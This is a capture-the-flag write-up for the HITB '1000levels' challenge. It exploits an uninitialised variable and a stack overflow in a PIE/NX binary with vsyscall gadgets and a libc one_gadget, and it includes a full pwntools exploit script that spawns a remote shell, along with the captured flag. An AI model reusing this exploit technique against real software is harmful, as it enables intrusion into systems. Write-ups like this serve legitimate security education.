Uninitialised variable usage allows for reliable exploitation of a classic stack overflow on a NX and PIE enabled binary using gadgets from the vsyscall page and the magic libc address.
Challenge Description
Points
606
Description
It's more diffcult.
nc 47.74.147.103 20001
Files
Introduction
The program is a simple math game with two options: play the game or ask for a hint. When you ask for a hint, it tells you to pwn it. When you play the game it prompts for two numbers, adds it and runs the game for that many levels.
amon@narwhals:~$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
1
Any more?
1
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
====================================================
Level 2
Question: 1 * 0 = ? Answer:0
Great job! You finished 2 levels in 3 seconds
Before we analyse it, let’s check the security settings on the binary. The stack canary is disabled but the binary is PIE and NX.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial
gdb-peda$
Important Functions
There are three important functions we have to understand before exploiting the binary.
- hint()
- go()
- level(int32_t)
hint()
This is a simple function.
What happens is that the address of system is copied onto the stack at
var_118
, then a check that the global variable show_hint
is zero is
performed. If the value is zero, the string “NO PWN NO FUN” is printed to the
user. Otherwise, the hint with the address of system is printed to the user.
This is important because we need an information leak to bypass the ASLR which is made more important because PIE is enabled and we have no gadgets to use. However, it does not seem like we can trigger that path.
Here is the pseudocode of the function:
int _Z4hintv() {
var_110 = *0x201fd0;
if (*(int32_t *)show_hint != 0x0) {
sprintf(&var_110 + 0x8, "Hint: %p\n", var_110);
}
else {
*(&var_110 + 0x8) = 0x4e204e5750204f4e;
*(int32_t *)(&var_110 + 0x10) = 0x5546204f;
*(int16_t *)(&var_110 + 0x14) = 0x4e;
}
rax = puts(&var_110 + 0x8);
return rax;
}
go()
This function begins by reading a number from the user and checking if it is
below or equal to zero. If it is, it prints “Coward” to the user. Otherwise, it
copies the number read into var_118
which is on the stack. This is important
because it means that if we force it to print “Coward”, var_118
contains
whatever value it held before it entered the function. This is the uninitalised
variable vulnerability.
Now, it reads another number from the user, adds that to the value stored at
var_118
, and goes down three paths based on the calculated value.
- If the value is less than or equals to zero, it calls the user “Coward”, and returns from the function to display the main menu again.
- If the value is more than 1000, it prints “More levels than before!” and sets an initial value (used later) to 1000.
- Otherwise, the initial value is set to the value of
var_118
.
Next the level(int32_t)
function is called with the initial value.
When that returns, the return code is checked to see if all the levels were passed and the function returns.
Here is the rough pseudocode of the function:
int _Z2gov() {
puts("How many levels?");
var_120 = read_num();
if (var_120 <= 0x0) {
puts("Coward");
}
else {
var_110 = var_120;
}
puts("Any more?");
var_120 = read_num();
var_110 = var_120 + var_110;
if (var_110 <= 0x0) {
rax = puts("Coward");
}
else {
if (var_110 > 0x3e7) {
puts("More levels than before!");
var_108 = 0x3e8;
}
else {
var_108 = var_110;
}
puts("Let's go!'");
var_118 = time(0x0);
if ((level(var_108) != 0x0 ? 0x1 : 0x0) != 0x0) {
sprintf(&var_120 + 0x20, "Great job! You finished %d levels in %d seconds\n", var_108, time(0x0) - var_118);
puts(&var_120 + 0x20);
}
else {
puts("You failed.");
}
rax = exit(0x0);
}
return rax;
}
level(int32_t)
This is a recursive function that implements the game loop. It can be simplified in the following formula:
level(n):
if n == 0: return 1
else:
if level(n - 1) == 0:
return 0
else:
number1 = random()
number2 = random()
solution = number1 * number2
answer = read_from_user()
if solution == answer:
return 1
return 0
The main vulnerability lies in reading the answer from the user. It reads 400 bytes into a buffer that is too small to contain it. Since the canary is disabled, it is sufficient to overwrite the saved instruction pointer on the stack to get control over the control flow.
The interesting thing about the function is that it prevents partial overwrites to bypass the PIE defense by checking if the number of bytes read is aligned to 8 bytes. If it isn’t aligned, it zeroes out the other bytes of double word.
Here is the psuedocode of the function:
int _Z5leveli(int arg0) {
var_34 = arg0;
if (var_34 == 0x0) {
rax = 0x1;
}
else {
if ((level(var_34 - 0x1) == 0x0 ? 0x1 : 0x0) != 0x0) {
rax = 0x0;
}
else {
var_30 = 0x0;
temp_1 = rand() % var_34;
temp_3 = rand() % var_34;
var_10 = temp_1 * temp_3;
puts(0x1160);
printf("Level %d\n", var_34);
printf("Question: %d * %d = ? Answer:", temp_1, temp_3);
var_4 = read(0x0, &var_30, 0x400);
while ((var_4 & 0x7) != 0x0) {
*(int8_t *)(rbp + sign_extend_32(var_4) + 0xffffffffffffffd0) = 0x0;
var_4 = var_4 + 0x1;
}
var_30 = 0x0;
if ((strtol(&var_30, 0x0, 0xa) == sign_extend_32(var_10) ? 0x1 : 0x0) != 0x0) {
rax = 0x1;
}
else {
rax = 0x0;
}
}
}
return rax;
}
Solving the LIBC ASLR Problem
Unfortunately, we do not seem to have an information leak primitive to exploit.
Thus, we cannot leak an address to jump to before we send our overflow payload.
However, we have a solution to this. Recall that in the go()
function, if we
pass in 0 on the first prompt, it would leave the address of system()
in libc
in an uninitialised variable. Now, the value from the second prompt is added to
this variable. This causes the variable to be larger than 1000, and sets the
number of levels to 1000.
gdb-peda$ r
Starting program: /vagrant/hitb/1000levels/1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
0
More levels than before!
This means that the address of system is somewhere on the stack and we might be able to use it.
gdb-peda$ stack
0000| 0x7fffffffe3b0 --> 0x0
0008| 0x7fffffffe3b8 --> 0x555555554d79 (<_Z4hintv+137>: nop)
0016| 0x7fffffffe3c0 --> 0x7ffff7a52390 (<__libc_system>: test rdi,rdi)
0024| 0x7fffffffe3c8 --> 0x3e8
0032| 0x7fffffffe3d0 --> 0x4e5546204f ('O FUN')
0040| 0x7fffffffe3d8 --> 0x0
0048| 0x7fffffffe3e0 --> 0x0
0056| 0x7fffffffe3e8 --> 0x0
We can adjust the value dynamically by modifying our second value we pass in.
This allows us to place an address at an offset to system()
in libc. To
demonstrate, we can point the address to puts()
knowing that it is at an
offset 0x2a300 to system()
.
gdb-peda$ r
Starting program: /vagrant/hitb/1000levels/1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
172800
More levels than before!
Breakpoint 1, 0x0000555555554c4a in go() ()
gdb-peda$ stack
0000| 0x7fffffffe3b0 --> 0x2a300
0008| 0x7fffffffe3b8 --> 0x555555554d79 (<_Z4hintv+137>: nop)
0016| 0x7fffffffe3c0 --> 0x7ffff7a7c690 (<_IO_puts>: push r12)
0024| 0x7fffffffe3c8 --> 0x3e8
0032| 0x7fffffffe3d0 --> 0x4e5546204f ('O FUN')
0040| 0x7fffffffe3d8 --> 0x0
0048| 0x7fffffffe3e0 --> 0x0
0056| 0x7fffffffe3e8 --> 0x0
This is important because we are not able to control the arguments to
system()
. We have to use another trick.
LIBC Magic Addresses
This trick would be to use a LIBC magic address. These are gadgets in the LIBC
binary that give you a shell, given certain constraints, when you jump to it. I
use a nifty tool called one_gadget
to search for these gadgets for me.
amon@narwhals:~$ one_gadget libc.so.6
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66c0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
I chose the first one in the list: 0x4526a
.
Solving the PIE Problem
We have two complications. First, we do not have any gadgets in the binary to
use because PIE randomises the text segment of the binary. Second, a naive
buffer overflow on the first level()
call will not allow us to use the libc
address we placed on the stack. This is because since the level()
function is
recursive, the 1000th call of the function will be the first one we encounter.
Solving the second issue is simple, we simply play the game 999 times until we have walked all the way back up the call stack. This would put our overflow into the range of the libc address.
Solving the first issue requires a little Linux magic. If we look at the Virtual Memory Mapping, we can see that there is something that maintains a static address between executions.
gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555556000 r-xp /vagrant/hitb/1000levels/1000levels
0x0000555555755000 0x0000555555756000 r--p /vagrant/hitb/1000levels/1000levels
0x0000555555756000 0x0000555555757000 rw-p /vagrant/hitb/1000levels/1000levels
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fe0000 0x00007ffff7fe3000 rw-p mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
The vsyscall page contains some interesting gadgets that we can use to just
RET
and walk up the stack.
gdb-peda$ x/32i 0xffffffffff600400
0xffffffffff600400: mov rax,0xc9
0xffffffffff600407: syscall
0xffffffffff600409: ret
0xffffffffff60040a: int3
0xffffffffff60040b: int3
Note that we have to jump to 0xffffffffff600400
and not 0xffffffffff600409
because these instructions are not actually executed but
emulated.
This means, in practical terms, that we cannot jump in the middle because the
Linux kernel does not know how to handle it and the program will simply crash.
This is how a successful ROP chain would look like:
gdb-peda$ stack
0000| 0x7fffffffe3d8 --> 0xffffffffff600400 (mov rax,0xc9)
0008| 0x7fffffffe3e0 --> 0xffffffffff600400 (mov rax,0xc9)
0016| 0x7fffffffe3e8 --> 0xffffffffff600400 (mov rax,0xc9)
0024| 0x7fffffffe3f0 --> 0x7ffff7a5226a (<do_system+1098>: mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8)
0032| 0x7fffffffe3f8 --> 0x3e8
0040| 0x7fffffffe400 --> 0x4e5546204f ('O FUN')
0048| 0x7fffffffe408 --> 0x0
0056| 0x7fffffffe410 --> 0x0
Final Exploit
Here’s the final exploit script:
from pwn import *
import sys
#context.log_level = "debug"
system_offset = 0x0000000000045390
ret_address = 0xffffffffff600400
target_offset = 0x4526a
difference = target_offset - system_offset
def answer(eqn):
parse = eqn[9:eqn.find("=")]
soln = eval(parse)
return soln
def main():
#p = process("./1000levels")
p = remote("47.74.147.103", 20001)
p.sendline("2")
p.clean()
p.sendline("1")
p.clean()
p.sendline("0")
p.clean()
p.sendline(str(difference))
for i in range(999):
p.recvline_contains("Level")
eqn = p.clean()
soln = answer(eqn)
p.send(str(soln)+"\x00")
if i % 50 == 0:
log.info("Please wait... %d/1000" % i)
pay = str(soln) + "\x00"
pay = pay.ljust(56, "B")
pay += p64(ret_address)*3
log.info("Injected our vsyscall ROPs")
p.send(pay)
p.clean()
p.success("Shell spawned! Enjoy!")
p.interactive()
if __name__ == "__main__":
main()
Running the exploit:
Flag: HITB{d989d44665a5a58565e09e7442606506}
Leave a Comment